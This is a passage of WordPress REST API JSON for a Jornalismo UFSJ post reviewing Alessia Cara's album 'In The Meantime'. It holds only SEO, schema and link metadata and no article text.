Meantime\ufffc\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/jornalismo.ufsj.edu.br\/site\/#website\",\"url\":\"https:\/\/jornalismo.ufsj.edu.br\/site\/\",\"name\":\"Jornalismo UFSJ\",\"description\":\"\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/jornalismo.ufsj.edu.br\/site\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"pt-BR\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/jornalismo.ufsj.edu.br\/site\/#\/schema\/person\/f2aab557f9f94fdae1e2e2b0e6a81536\",\"name\":\"Jornalismo UFSJ\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"pt-BR\",\"@id\":\"https:\/\/jornalismo.ufsj.edu.br\/site\/#\/schema\/person\/image\/\",\"url\":\"http:\/\/0.gravatar.com\/avatar\/3caca5e541257fa5c0030bb58ce55972?s=96&d=mm&r=g\",\"contentUrl\":\"http:\/\/0.gravatar.com\/avatar\/3caca5e541257fa5c0030bb58ce55972?s=96&d=mm&r=g\",\"caption\":\"Jornalismo UFSJ\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"A montanha-russa de In The Meantime\ufffc - Jornalismo UFSJ","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/jornalismo.ufsj.edu.br\/site\/jornalismoufsj\/a-montanha-russa-de-in-the-meantime\/","og_locale":"pt_BR","og_type":"article","og_title":"A montanha-russa de In The Meantime\ufffc - Jornalismo UFSJ","og_description":"Novo disco de Alessia Cara reflete os desafios mentais do jovem no s\u00e9culo XXI","og_url":"https:\/\/jornalismo.ufsj.edu.br\/site\/jornalismoufsj\/a-montanha-russa-de-in-the-meantime\/","og_site_name":"Jornalismo UFSJ","article_publisher":"https:\/\/www.facebook.com\/jornalismoufsj\/","article_published_time":"2026-07-02T10:10:04+00:00","article_modified_time":"2026-09-18T10:23:48+00:00","og_image":[{"width":512,"height":288,"url":"https:\/\/jornalismo.ufsj.edu.br\/site\/wp-content\/uploads\/2022\/07\/Cena-do-clipe-de-Best-Days-01.png","type":"image\/png"}],"author":"Jornalismo UFSJ","twitter_card":"summary_large_image","twitter_creator":"@jornalismoufsj","twitter_site":"@jornalismoufsj","twitter_misc":{"Escrito por":"Jornalismo UFSJ","Est. tempo de leitura":"5 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/jornalismo.ufsj.edu.br\/site\/jornalismoufsj\/a-montanha-russa-de-in-the-meantime\/","url":"https:\/\/jornalismo.ufsj.edu.br\/site\/jornalismoufsj\/a-montanha-russa-de-in-the-meantime\/","name":"A montanha-russa de In The Meantime\ufffc - Jornalismo UFSJ","isPartOf":{"@id":"https:\/\/jornalismo.ufsj.edu.br\/site\/#website"},"datePublished":"2026-07-02T10:10:04+00:00","dateModified":"2026-09-18T10:23:48+00:00","author":{"@id":"https:\/\/jornalismo.ufsj.edu.br\/site\/#\/schema\/person\/f2aab557f9f94fdae1e2e2b0e6a81536"},"breadcrumb":{"@id":"https:\/\/jornalismo.ufsj.edu.br\/site\/jornalismoufsj\/a-montanha-russa-de-in-the-meantime\/#breadcrumb"},"inLanguage":"pt-BR","potentialAction":[{"@type":"ReadAction","target":["https:\/\/jornalismo.ufsj.edu.br\/site\/jornalismoufsj\/a-montanha-russa-de-in-the-meantime\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/jornalismo.ufsj.edu.br\/site\/jornalismoufsj\/a-montanha-russa-de-in-the-meantime\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"In\u00edcio","item":"https:\/\/jornalismo.ufsj.edu.br\/site\/"},{"@type":"ListItem","position":2,"name":"A montanha-russa de In The Meantime\ufffc"}]},{"@type":"WebSite","@id":"https:\/\/jornalismo.ufsj.edu.br\/site\/#website","url":"https:\/\/jornalismo.ufsj.edu.br\/site\/","name":"Jornalismo UFSJ","description":"","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/jornalismo.ufsj.edu.br\/site\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"pt-BR"},{"@type":"Person","@id":"https:\/\/jornalismo.ufsj.edu.br\/site\/#\/schema\/person\/f2aab557f9f94fdae1e2e2b0e6a81536","name":"Jornalismo UFSJ","image":{"@type":"ImageObject","inLanguage":"pt-BR","@id":"https:\/\/jornalismo.ufsj.edu.br\/site\/#\/schema\/person\/image\/","url":"http:\/\/0.gravatar.com\/avatar\/3caca5e541257fa5c0030bb58ce55972?s=96&d=mm&r=g","contentUrl":"http:\/\/0.gravatar.com\/avatar\/3caca5e541257fa5c0030bb58ce55972?s=96&d=mm&r=g","caption":"Jornalismo UFSJ"}}]}},"jetpack_featured_media_url":"http:\/\/jornalismo.ufsj.edu.br\/site\/wp-content\/uploads\/2022\/07\/Cena-do-clipe-de-Best-Days-01.png","_links":{"self":[{"href":"http:\/\/jornalismo.ufsj.edu.br\/site\/wp-json\/wp\/v2\/posts\/6964"}],"collection":[{"href":"http:\/\/jornalismo.ufsj.edu.br\/site\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/jornalismo.ufsj.edu.br\/site\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/jornalismo.ufsj.edu.br\/site\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"http:\/\/jornalismo.ufsj.edu.br\/site\/wp-json\/wp\/v2\/comments?post=6964"}],"version-history":[{"count":6,"href":"http:\/\/jornalismo.ufsj.edu.br\/site\/wp-json\/wp\/v2\/posts\/6964\/revisions"}],"predecessor-version":[{"id":8632,"href":"http:\/\/jornalismo.ufsj.edu.br\/site\/wp-json\/wp\/v2\/posts\/6964\/revisions\/8632"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/jornalismo.ufsj.edu.br\/site\/wp-json\/wp\/v2\/media\/6963"}],"wp:attachment":[{"href":"http:\/\/jornalismo.ufsj.edu.br\/site\/wp-json\/wp\/v2\/media?parent=6964"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/jornalismo.ufsj.edu.br\/site\/wp-json\/wp\/v2\/categories?post=6964"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/jornalismo.ufsj.edu.br\/site\/wp-json\/wp\/v2\/tags?post=6964"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}